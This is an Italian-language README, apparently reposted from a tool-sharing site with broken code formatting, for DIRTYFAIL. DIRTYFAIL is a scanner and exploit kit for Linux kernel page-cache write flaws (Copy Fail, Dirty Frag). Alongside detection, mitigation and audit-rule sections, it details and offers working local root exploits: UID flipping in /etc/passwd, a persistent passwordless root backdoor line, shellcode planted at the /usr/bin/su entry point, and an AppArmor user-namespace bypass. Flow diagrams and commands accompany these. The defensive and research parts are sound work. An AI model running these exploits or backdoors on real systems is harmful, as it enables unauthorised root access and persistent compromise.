La build predefinita produce un singolo binario di circa 80 KB in ./dirtyfail. Per una build portabile che funzioni su qualsiasi Linux compatibile con il kernel senza problemi di dipendenza da glibc:```sh make static CC=musl-gcc

root@kitploit:~
(installa `musl-tools` su Debian/Ubuntu, o compila musl dal sorgente).

---

## 6. Utilizzo

`./dirtyfail --help` è il riferimento canonico; le modalità suddivise per categoria:

**Rilevamento (sicuro; nessuna modifica al sistema):**

| Modalità | Cosa fa |
|---|---|
| `--scan` | Esegue tutti e cinque i rilevatori (modalità predefinita) |
| `--scan --active` | Aggiunge una sonda STORE su file sentinella per CVE — distingue precondizioni soddisfatte da effettivamente sfruttabile |
| `--scan --json` | Emette un singolo oggetto JSON su stdout (compatibile con SIEM); i log vanno su stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Solo rilevamento per-CVE |

**Sfruttamento (conferma digitata richiesta; corrompe la cache di pagina di `/etc/passwd`):**

| Modalità | Cosa fa |
|---|---|
| `--exploit-copyfail` | Inversione UID tramite primitiva a 4 byte `algif_aead` |
| `--exploit-esp` | Inversione UID tramite xfrm-ESP v4 (richiede userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Inversione UID tramite xfrm-ESP v6 |
| `--exploit-rxrpc` | Campo password root vuoto tramite forza bruta rxkad fcrypt |
| `--exploit-gcm` | Inversione UID tramite primitiva a 1 byte `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | PERSISTENTE: inserisce `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Stile V4bel: inserisce shellcode specifico per architettura al punto di ingresso di `/usr/bin/su`. x86_64 testato end-to-end; aarch64 distribuito non testato su hardware (bloccato dietro `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Pulizia / ispezione dello stato:**

| Modalità | Cosa fa |
|---|---|
| `--cleanup` | Espelle `/etc/passwd` dalla cache di pagina (`fadvise` + `drop_caches` se root) |
| `--cleanup-backdoor` | Ripristina la riga originale di `/etc/passwd` dal file di stato |
| `--cleanup-su` | Ripristina i byte del punto di ingresso di `/usr/bin/su` dal file di stato |
| `--list-state` | Segnala cosa (se presente) è attualmente impiantato; senza effetti collaterali |

**Difensivo (richiede root):**

| Modalità | Cosa fa |
|---|---|
| `--mitigate` | Blacklist dei moduli `algif_aead`/`esp4`/`esp6`/`rxrpc`; imposta `apparmor_restrict_unprivileged_userns=1`; drop_caches. Effetti collaterali: rompe IPsec, AFS |
| `--cleanup-mitigate` | Rimuove i file modprobe/sysctl installati da `--mitigate` |

**Opzioni comuni:**

| Flag | Effetto |
|---|---|
| `--no-shell` | Dopo uno sfruttamento riuscito, NON eseguire `execve su` — verifica e ripristina |
| `--no-revert` | Con `--no-shell`, salta anche il ripristino automatico (usato dalla demo di container-escape) |
| `--active` | Aggiunge sonde STORE sentinella attive a `--scan`/`--check-*` |
| `--json` | (con `--scan`) emette output leggibile dalla macchina |
| `--no-color` | Disabilita colore ANSI |
| `--aa-bypass` | (solo DEBUG) forza l'elusione di AppArmor unprivileged-userns — gli exploit lo fanno internamente, vedi §8.5 |

### Esempi di rilevamento

Scansione semplice (solo precondizioni — veloce, ~1s):```sh
./dirtyfail --scan

Sonda sentinel attiva per CVE (~10s, modifica solo i sentinel in /tmp):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON per l'ingestione SIEM/flotta:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Valori di stato: vulnerable, not_vulnerable, preconds_missing, test_error. Il riepilogo riflette il peggiore tra i risultati.

Esempi di exploit (richiesta conferma digitata)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Ogni exploit richiede `DIRTYFAIL` + (dove applicabile)
`YES_BREAK_SSH` prima di qualsiasi modifica della cache di pagina.

### Ispezione dello stato + pulizia```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

Oppure passa direttamente al kernel:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. Come DIRTYFAIL rileva ogni CVE

### Copy Fail (sonda sentinella attiva)

Il rilevamento attiva effettivamente la primitiva contro un file sentinella in `/tmp`:

1. Esegue il probe di `socket(AF_ALG, SOCK_SEQPACKET, 0)` e si collega (`bind`) a `authencesn(hmac(sha256), cbc(aes))`.
2. Crea un file sentinella di 4 KiB in `/tmp` e carica la sua prima pagina nella cache (fault).
3. Esegue la primitiva completa dell'exploit contro di esso: `sendmsg` AAD con `seqno_lo = "PWND"`, splice di 32 byte del sentinella nel socket di operazione AF_ALG, guida `recv` per attivare la scrittura scratch.
4. Rilegge il sentinella e cerca `PWND` ovunque nella prima pagina.

Marker trovato ⇒ vulnerabile. Marker assente ma contenuto della pagina diverso ⇒ la primitiva è stata parzialmente attivata (ancora vulnerabile). Pagina identica ⇒ non vulnerabile su questo kernel.

### Dirty Frag xfrm-ESP (basato su precondizioni — o attivo con `--active`)

Per impostazione predefinita, `--scan` è solo precondizione — non entriamo in un namespace utente in modalità di rilevamento (avrebbe effetti collaterali sul networking all'interno di quel namespace). Controlliamo:

* versione del kernel all'interno della finestra interessata
* `esp4` / `esp6` attualmente caricati o caricabili automaticamente
* la creazione di namespace utente non privilegiati riesce (rilevato tramite fork → child `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` restituisce false

Tutti e quattro presenti ⇒ VULNERABILE (precondizioni soddisfatte).

`--scan --active` estende questo con una sonda sentinella-STORE: creiamo un processo figlio che attiva l'elusione di AA (AppArmor bypass), entra in un nuovo namespace utente/rete, registra una SA XFRM e attiva il trigger ESP-in-UDP contro un file sentinella `/tmp/dirtyfail-esp-probe.XXXXXX`. Il genitore rilegge il sentinella e cerca i byte marker:

* marker arrivato → STORE del kernel è raggiungibile → **VULNERABILE**
* pagina intatta → la patch del kernel è attiva → **NON VULNERABILE**
* elusione AA negata → **PRECOND_FAIL** (mitigato da LSM)

Questo è l'unico modo per distinguere un kernel con patch backportata da uno non patchato senza eseguire l'exploit completo di UID-flip contro `/etc/passwd`. Lo stesso schema viene utilizzato per ESP v6, RxRPC e GCM con `--active`.

### Dirty Frag RxRPC (basato su precondizioni — o attivo con `--active`)

Precondizioni:
* `rxrpc` in `/proc/modules` o caricabile automaticamente
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` riesce

Sonda attiva (`--active`): crea un fork tramite elusione AA, registra una chiave di sessione rxrpc con un valore arbitrario di 8 byte, invia una falsificazione CHALLENGE + DATA contro un sentinella in `/tmp`, cerca QUALSIASI cambiamento di byte all'interno della finestra di 8 byte spliced. Non cerchiamo di prevedere cosa sia arrivato — qualsiasi modifica conferma che lo STORE del kernel si attiva.

### Variante Copy Fail GCM + ESP v6 — stessa forma

La sonda attiva della variante GCM installa una SA in modalità transport con un IV arbitrario e attiva `gcm_trigger` contro un sentinella in `/tmp`; QUALSIASI cambiamento di byte a sentinel[0] conferma la raggiungibilità. La sonda ESP v6 calibra automaticamente anche `V6_STORE_SHIFT` per ogni build del kernel (vedi `calibrate_v6_shift` in `src/dirtyfrag_esp6.c`) — diverse distribuzioni hanno build di `esp6_input` che posizionano lo STORE a offset leggermente diversi all'interno della regione spliced, e la sonda di calibrazione scopre l'offset esatto prima che il vero exploit venga attivato.

---

## 8. Come DIRTYFAIL sfrutta ogni CVE

### Exploit Copy Fail (`copyfail.c`)

Singolo STORE di 4 byte tramite `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP exploit (dirtyfrag_esp.c)

Stesso stato finale di Copy Fail, raggiunto attraverso xfrm_input invece di algif_aead:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Quindi esci dal namespace, `execlp("su", user)` dal genitore — stesso passo finale di Copy Fail.

### Dirty Frag RxRPC exploit (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su iniezione di shellcode (exploit_su.c)

Una seconda catena di attacco senza /etc/passwd modellata sull'exploit di riferimento di V4bel. Invece di modificare la cache delle pagine di /etc/passwd, inseriamo uno shellcode specifico per architettura al punto di ingresso ELF di /usr/bin/su nella sua cache delle pagine; la prossima volta che qualcuno esegue /usr/bin/su, il kernel imposta euid=0 dal bit setuid su disco, il linker dinamico risolve, e il controllo passa al nostro shellcode → /bin/sh come root init-ns reale. Nessuna dipendenza da PAM, bypassa completamente la rimozione di pam_unix nullok.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Architecture matrix:

* **x86_64 (56 bytes, 14 scritture concatenate da 4 byte)** — testato
  end-to-end su Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode in
  `shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 istruzioni)** — codificato a mano dal
  riferimento ARMv8-A, **mai eseguito su hardware**. Protetto dietro
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Il sorgente è fornito in
  `tools/exploit_su_aarch64.S` per verifica dalla community — assemblare
  con `aarch64-linux-gnu-as` e confermare che la sequenza di byte corrisponda a
  `shellcode_aarch64[]`.
* altro → preconds_fail.

Il file di stato `/var/tmp/.dirtyfail-su.state` salva i byte originali
del punto di ingresso così `--cleanup-su` può ripristinarli. `--list-state`
ispeziona questo file (e quello del backdoor) senza toccare nulla.

Se il passo di verifica rileva che la cache di pagina non corrisponde allo
shellcode piantato (kernel modificato, AF_ALG bloccato, ecc.), il ripristino automatico
scatta immediatamente e il file di stato viene rimosso — nessuna necessità per
l'operatore di eseguire cleanup-su successivamente.

---

## 8.5 Architettura: bypass basato su fork esterno/interno

Tutte e cinque le modalità di exploit condividono un'architettura comune per gestire
la policy `apparmor_restrict_unprivileged_userns=1` di Ubuntu senza
intrappolare il `su` post-exploit all'interno di un userns dove non può raggiungere
la root reale dell'init-ns.

### Il problema

Un bypass ingenuo mette l'*intero* processo `dirtyfail` all'interno di un nuovo
namespace utente tramite `unshare(CLONE_NEWUSER)`. Questo è sufficiente per registrare
SA XFRM e attivare i trigger splice — ma significa anche che l'eventuale
`execlp("su", user)` viene eseguito all'interno dell'userns, dove l'uid 0 è mappato tramite
`uid_map "0 1000 1"` all'uid esterno dell'operatore (1000). La chiamata
`setresuid(0)` di PAM finisce quindi all'userns-uid-0-mappato-a-1000, che **non** è
la root reale dell'init-ns — `cat /etc/shadow` restituisce EACCES, la
shell non può effettivamente eseguire operazioni privilegiate.

### La soluzione: suddivisione esterno/interno```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

Il genitore non entra mai in un namespace utente. Il figlio esegue il bypass + lavoro nel kernel, modifica la cache di pagina globale (che è condivisa tra i namespace — l'unico "ponte" di cui abbiamo bisogno), ed esce. Il su del genitore è quindi una normale chiamata setresuid nel namespace init.

Passaggio genitore → figlio tramite variabili d'ambiente

execv preserva l'ambiente, quindi il genitore memorizza i parametri dell'operazione in variabili d'ambiente prima del fork. Ogni modalità definisce le proprie:

Dopo il completamento dello stadio 2 del bypass, main() controlla DIRTYFAIL_INNER_MODE e invia a <mode>_exploit_inner(). L'interno fa solo il lavoro nel kernel (nessun prompt, nessun fork, nessun su) e termina con il codice di risultato. Il genitore lo raccoglie tramite waitpid e procede con la verifica.

Perché il bypass a singolo salto

Il precedente ballo a due salti (change_onexec("crun") → change_onexec("chrome")) causava fallimenti intermittenti ENOSPC su Ubuntu 24.04 nella nostra catena di exec (probabilmente una piega contabile per-profilo dei namespace utente). Il singolo salto in crun è sufficiente — il profilo AppArmor di crun ha flags=(unconfined) e permesso esplicito userns,, quindi unshare ha successo e rimane tale.

Perché nessun ciclo infinito di re-exec

Dopo il completamento dello stadio 2, viene impostato un flag locale al processo g_bypass_done. Se apparmor_bypass_needed() viene chiamata di nuovo nello stesso processo, si cortocircuita a false, impedendo al codice post-exploit di riarmare e annidare un altro layer di namespace utente (che in precedenza raggiungeva il limite di annidamento per namespace utente come ENOSPC).

--aa-bypass è ora un flag solo per debug

Nella vecchia architettura, --aa-bypass armava un bypass a livello di intero processo prima dell'invio dell'exploit. Nella nuova architettura, le modalità di exploit eseguono internamente il proprio bypass basato su fork; il flag non è più necessario per l'uso normale. È mantenuto per il debug dei meccanismi di bypass in isolamento (es. eseguire --scan all'interno di un namespace utente bypassato), con un avviso che potrebbe rompere il su post-exploit.


9. Mitigazioni

Copy Fail (CVE-2026-31431)

  1. Applicare la patch. Mainline a664bf3d; i backport sono atterrati sulle linee stabili 6.12 / 6.17 / 6.18.
  2. Interim: blacklistare algif_aead: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Nota: questo non mitiga Dirty Frag. Il percorso xfrm-ESP raggiunge la stessa primitiva authencesn senza passare attraverso algif_aead.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Applica la patch. Mainline f4c50a4034e6 (merged 2026-05-07). I backport delle distribuzioni sono in distribuzione a partire dal 2026-05-08.
  2. Provvisorio: blacklist esp4 e esp6: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Questo interrompe VPN IPsec / strongSwan / libreswan. 3. Difesa in profondità: disabilita i namespace utente non privilegiati. Ubuntu lo fa di default tramite AppArmor; su altre distribuzioni: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Nessuna patch upstream ancora.** Patch del ricercatore su lkml; non ancora unita al momento della scrittura (2026-05-08).
2. **Soluzione provvisoria**: blacklist `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Questo compromette i client del filesystem distribuito AFS. La maggior parte dei server non necessita di rxrpc.

Combinazione in una riga (tutti e tre)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### Oppure usa `dirtyfail --mitigate`

Lo stesso set di mitigazioni è racchiuso in una
modalità difensiva con gate di conferma di tipo:```sh
sudo ./dirtyfail --mitigate

Questo inserisce /etc/modprobe.d/dirtyfail-mitigations.conf e /etc/sysctl.d/99-dirtyfail-mitigations.conf, scarica i quattro moduli, e drop_caches. Ripristina tramite sudo ./dirtyfail --cleanup-mitigate. Effetti collaterali: rompe IPsec, client AFS e qualsiasi spazio utente che utilizza AF_ALG AEAD. Vedere docs/DEFENDERS.md per il playbook completo dell'amministratore di sistema.

Rilevamento / monitoraggio

Per il rilevamento continuo indipendentemente dalla correzione:

  • Scansiona un host: dirtyfail --scan --active (sonda completa sentinel-STORE) oppure dirtyfail --scan --active --json per l'ingestione SIEM/flotta. La variante bash tools/dirtyfail-check.sh ha zero dipendenze di build.
  • Regole di audit: tools/99-dirtyfail.rules è un ruleset drop-in per auditd che copre i cinque percorsi di syscall utilizzati dalla catena di exploit (registrazione XFRM netlink, add_key("rxrpc"), unshare(CLONE_NEWUSER), creazione socket AF_ALG, scritture su /etc/passwd//etc/shadow). Installare con: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Demo del raggio di esplosione del contenitore: tools/dirtyfail-container-escape.sh mostra che la cache del kernel è condivisa tra namespace — utile per spiegare l'impatto cross-tenant agli operatori.

10. Etica e divulgazione

DIRTYFAIL è uno strumento di ricerca. Le vulnerabilità che copre sono già divulgate pubblicamente con PoC armate in circolazione (vedi Crediti) — DIRTYFAIL aggiunge copertura di rilevamento, documentazione unificata e una variante PoC più soft (UID-flip rispetto a sovrascrittura ELF di /usr/bin/su).

  • Non eseguire le modalità --exploit-* su sistemi di cui non sei proprietario o per cui non hai esplicita autorizzazione al test. Le modifiche alla cache del kernel sono reversibili con drop_caches, ma costituiscono comunque escalation dei privilegi finché persistono.
  • Non distribuire DIRTYFAIL come "scanner" contro infrastrutture di terze parti senza autorizzazione scritta. La modalità di rilevamento non modifica i file di sistema, ma apre un file sentinella in /tmp e utilizza l'API crittografica del kernel.
  • Se trovi un sistema vulnerabile in circolazione, segui una divulgazione responsabile verso l'operatore, non pubblica.

Bonus: note sulla variante GCM + backdoor + bypass di AppArmor

Queste tre funzionalità estendono DIRTYFAIL con tecniche pubblicate per la prima volta da 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Reimplementate in stile DIRTYFAIL; il credito originale è in NOTICE.md.

Variante GCM di Copy Fail

Stesso percorso xfrm-ESP no-COW di CVE-2026-43284, ma utilizzando rfc4106(gcm(aes)) invece di authencesn(...). Due motivi per cui vale la pena distribuirlo insieme alla variante authencesn:

  1. Copertura. Un difensore che ha inserito in blacklist algif_aead per mitigare Copy Fail (CVE-2026-31431) è ancora vulnerabile qui — il percorso GCM non passa attraverso algif_aead.
  2. Granularità. AES-GCM in modalità contatore applica XOR del keystream sul byte splicato. Forzando brute-force dell'IV (~256 tentativi per byte) possiamo posizionare un singolo byte arbitrario in qualsiasi offset del file — nessun allineamento a 4 byte, nessun effetto collaterale di 4 byte.

La primitiva a 1 byte (cfg_1byte_write) è ciò che rende possibile la modalità backdoor persistente.

Backdoor persistente

--exploit-backdoor sceglie la riga più lunga di /etc/passwd la cui shell è in {nologin, false, sync} e la sovrascrive byte per byte con dirtyfail::0:0:<pad>:/:/bin/bash (lunghezza corrispondente). Dopo l'installazione, su - dirtyfail da qualsiasi utente apre una shell di root — nessuna richiesta di password — perché pam_unix.so nullok accetta il campo password vuoto.

Il nome utente dirtyfail è intenzionalmente legato a questo progetto in modo che sia facile da rilevare in qualsiasi audit successivo — i difensori che eseguono grep dirtyfail /etc/passwd (o qualsiasi HIDS che faccia lo stesso) noteranno immediatamente la riga. Se hai bisogno di un identificatore diverso per un specifico engagement red-team, modifica NEW_USER e DF_PREFIX in src/backdoor.c.

Il file su disco rimane invariato; la sostituzione vive solo nella cache di pagina. --cleanup-backdoor ripristina la riga originale tramite la stessa primitiva.

Bypass di AppArmor

Ubuntu 24.04+ include apparmor_restrict_unprivileged_userns=1. Il profilo predefinito applicato ai binari non privilegiati permette a unshare(USER) di riuscire ma rimuove CAP_NET_ADMIN nel nuovo namespace. La registrazione XFRM SA fallisce quindi silenziosamente.

Il bypass: scrivere "exec crun" in /proc/self/attr/exec e execv per passare al profilo crun di AppArmor, che ha flags=(unconfined) e permesso esplicito userns,. Dopo l'exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) riesce con pieni privilegi all'interno del nuovo namespace.

DIRTYFAIL gestisce questo per modalità di exploit tramite un fork: il genitore rimane nel namespace init, il figlio esegue il bypass + lavoro del kernel, il genitore legge la cache di pagina globale ed esegue su per il root reale del namespace init. Vedi §8.5 Architettura per la catena completa. Il flag legacy --aa-bypass (che armava il bypass per l'intero processo) è mantenuto solo per debug.

La tecnica originale proviene da aa-rootns.c di 0xdeadbeefnetwork (attribuita lì a Brad Spengler / grsecurity). L'implementazione di DIRTYFAIL:

  • Rileva la restrizione tramite il sysctl kernel.apparmor_restrict_unprivileged_userns piuttosto che leggere /proc/self/attr/current (che mostra ancora "unconfined" su Ubuntu 24.04 anche quando la policy sta restringendo).
  • Usa un singolo salto in crun invece del doppio salto crun → chrome — il secondo salto causava intermittenti ENOSPC su Ubuntu 24.04.
  • Imposta un flag di processo locale g_bypass_done dopo la fase 2 in modo che i ricontrolli vadano in cortocircuito (evitando cicli infiniti di re-exec che precedentemente esaurivano il limite di nidificazione per userns).

11. Crediti

DIRTYFAIL è codice originale, ma le tecniche che implementa sono state sviluppate dai ricercatori sottostanti. Leggi le loro fonti primarie prima di distribuire questo strumento — sono i riferimenti canonici.

Autori delle patch:

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — basata sulla patch v1 di Hyunwoo Kim, con l'approccio shared-frag integrato di Kuan-Ting Chen.
  • Patch RxRPC — Hyunwoo Kim, in attesa di integrazione.

Licenza

MIT. Vedi LICENSE.


Contatti

Apri una issue su questo repository, o contattami all'indirizzo elencato nella cronologia dei commit. Per la divulgazione coordinata di problemi correlati, contatta direttamente i ricercatori upstream sopra.

Scarica lo strumento
ModalitàVariabili d'ambiente
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — il brute force su fcrypt avviene nel genitore (nessun cap necessario); le chiavi vengono passate al figlio per i trigger effettivi
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
FonteRicercatoreContributo
https://copy.fail/AnonimoDivulgazione originale di Copy Fail
https://github.com/Smarttfoxx/copyfailSmarttfoxxPoC in C (variante shellcode-in-su)
https://github.com/rootsecdev/cve_2026_31431rootsecdevRilevatore Python + PoC UID-flip; l'ergonomia della modalità --exploit-copyfail di DIRTYFAIL segue questo approccio.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Scoperta di Dirty Frag, PoC a catena completa, patch del kernel
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkExploit variante GCM, PoC IPv6, tecnica di bypass userns di AppArmor
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerSegnalazione pubblica